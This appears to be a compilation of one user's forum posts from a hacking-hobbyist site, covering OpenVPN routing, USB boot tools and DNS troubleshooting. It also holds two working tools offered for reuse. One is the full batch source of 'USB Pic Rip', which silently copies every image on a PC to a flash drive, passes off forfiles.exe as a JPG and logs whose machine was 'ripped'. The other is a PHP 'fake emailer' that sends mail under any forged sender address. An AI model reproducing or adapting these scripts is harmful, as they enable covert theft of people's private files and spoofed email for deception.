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  1. I did some digging today and I think I found some documentation to get me going in the right direction: https://community.openvpn.net/openvpn/wiki/RoutedLans However, the problem is one of the networks is in the process of being converted from a 192.168.0.1/24 to a 10.1.0.0./22 with half the network on each network. My primary network (home) is also a 192.168.0.1/24 network. I'm not home right now, but I assume if I change my home network to 192.168.1.0/24 I can just add the following to my server.conf: route 10.1.0.1 255.255.252.0 push "route 10.1.0.1 255.255.252.0" This should let my home network view the work lan. I think. I am posting this here for someone to point out that I am probably wrong on something.
  2. Using PIVPN, I configured openvpn on a Raspberry Pi at home. As far as I can tell ( I'm new to openVPN ) there is no administration GUI when installing openvpn on the pi. I have a couple locations I work from: home, lab, office, remote. My overall plan for setting up openVPN is to allow me to access each of the network when I am at other networks or remote. I came across 'Introducing the LAN Turtle' video by Hak5 on youtube and I can see they configured the LAN Turtle to act as a VPN Gateway and this grants that kind of access. However, they were able to do so by using the web gui. How would I configure a VPN Gateway on clients without using the web gui?
  3. was reading thread hit wrong button, sorry for the bump
  4. It's been well over a year since I've last posted. Granted my post wasn't made on the best of terms, all I have to say is oh well. That being said, most of you should know me. When I first joined this site it was in attempts to try and create a batch based program that would allow me to rip JPGs. Vako, thanks again. Any who I was digging through some old computer bins and found a flash drive with the program that ended up being USP Pic Rip. For shits and giggles I recently re-wrote it, and added some extra functionality. This time through there is a config. And a working UHARC compression. Simply extract to the root of your flash drive and run the config. http://dl.getdropbox.com/u/1216523/root.rar
  5. Obi that is hella fast too. Mind releasing the code. XD?
  6. actually if you want tell me what exactly you want to be backed up and I can code something for you.
  7. :: USB Pic Rip v2.0.1 :: Scans computer for images. :: Images are then transfered :: to connected Flash drive. :: ~AaoN~ Monday, September 3rd, 2007 :: Revised Tuesday, September 4th, 2007 @ECHO OFF :: Gives program title. title USB Pic Rip v2.0.1 ::Set your flash drive SET fla=%cd:~0,2% ::Set File type to Rip. To use uncomment next line and comment the preceding :SET /p file=filetype: set file=jpg :: Checking to see if Rip directory exists if exist rip goto next md rip :: Copy tools to one location for future use. :next copy far.jpg c: ::For archive on uncomment lext line. :copy uharc.exe c: :: Change Directory to C: c: cd c: :: Creates Readme.txt for display at end of rip cd c:Documents and Settings%username% echo. > Readme.txt echo. USB Pic Rip v2.0.1 >> Readme.txt echo. By: Aaon >> Readme.txt echo. Special recognition to: >> Readme.txt echo. Gonzor for his clean way of setting your flash drive. >> Readme.txt echo. VaKo and everyone else at hak5.org >> Readme.txt :: Change directory to search for forfile.exe cd c:windowssystem32 :: If it does exist goto Scan, if not copy it. if exist forfiles.exe GOTO SCAN copy c:far.jpg c:windowssystem32forfiles.exe :: Create rip directory, Uses forfiles to scan and copy all images to Flash Drive :SCAN md %fla%picriprip%computername% md %fla%picriprip%computername%%file% FORFILES -pC: -s -m*.%file% -c"CMD /C copy @FILE %fla%picriprip%computername%%file%@FILE" :: Incase you have the time to archive the files :cd c: :md uharc :copy uharc.exe c:uharc :cd c:uharc :: Comment out previous ForFiles command and uncomment following to archive files before transfer :FORFILES -pC: -s -m*.%file% -c"CMD /C copy @FILE c:uharc@FILE" :uharc a picrip.uha :: Copy archive to flash drive :copy picrip.uha %fla%picriprip%computername%%files% ::Make log of who's been ripped %fla% cd picrip if exist log.txt goto append echo. > log.txt :append echo. >> log.txt echo. USB Pic Rip v2.0.1 has sucessfully ripped all .%file%'s on %computername% on %date% at %time% >> log.txt echo. >> log.txt ::Clean Up c: del c:far.jpg :del c:uharc cd c:Documents and Settings%username% Readme.txt exit This was my code for the picture rip thing i wrote up in batch a while back. It's commented very well so you should be able to go through it and edit it to your liking. You will need to also get the portable uharc if you want it compress it and then the far.jpg is actually forfiles.exe and that can be downloaded here http://www.dynawell.com/reskit/microsoft/w...00/forfiles.zip
  8. *sigh* im rather contempt about ur "owning" abilities, when u cant even pick up the line in his code that says. header( 'Location: http://www.gyears.org/fakemail/pass.php' ); How would I set up the rss to read from the mysql then? I have been googleing but to no avail.
  9. M0XIE

    Grub + usb + linux

    From what I have worked with it BT2 can be made bootable off of a USB devices very easily. I think its a bootinst.bat file in the boot directory. And personally I have never used Helix, but you have sparked my interest.
  10. Bah look for some forensic tools. All the HD does is flip I binary switch for each bit of the file making it appear to be gone. When really if you just flip the switch back the file will reappear.
  11. Ok i think it must be a windows problem. I installed Linux and it works perfect. You can lock this.
  12. I run my own website. On this site I have a fake emailer the code is as follows: <?php if(isset($_GET['mail'])) { //The mailing part of the script if((isset($_POST['emailTo']))&&(isset($_POST['emailSubject']))&&(isset($_POST['emailBody']))) { if($_POST['emailFrom'] != '') { mail($_POST['emailTo'], $_POST['emailSubject'], $_POST['emailBody'], 'From: ' . $_POST['emailFrom']); } else { mail($_POST['emailTo'], $_POST['emailSubject'], $_POST['emailBody']); } } header( 'Location: http://www.gyears.org/fakemail/pass.php' ); } else { //The GUI part of the script $title = "Email Script"; echo '<html> <body bgcolor="#000000" text="#FFFFFF"> <form action="' . $_SERVER['PHP_SELF'] . '?mail=Send" method="POST"> <table> <tr><td>To:</td><td><input type="text" name="emailTo"></td></tr> <tr><td>From:</td><td><input type="text" name="emailFrom"></td></tr> <tr><td>Subject:</td><td><input type="text" name="emailSubject"></td></tr> <tr><td>Body:</td><td><textarea name="emailBody"></textarea></td></tr> <tr><td></td><td><input type="submit" value="Email!"></td></tr> </table> </body> </html>'; } ?> What I would like is after it sends the email to also update a private rss feed I would like to setup. This way I can monitor what is being send out and have a log of it encase something happens. I don't know how to do PHP and i wouldn't know where to begin on making it update to an RSS feed. Help>?
  13. All of the HD's have been formatted and the OS reinstalled. Virus scan shows up with nothing.
  14. Not working again... Any other suggestions?
  15. Correct me if I am wrong but that would be a router changed correct. I'll give er a whiz and let you know. Edit Ok I entered those DNS servers and it seems to work, time being however I dont know if it's cuz of the servers or because it's just one of those times it randomly works. I'll let you guys know Within the next few hours.
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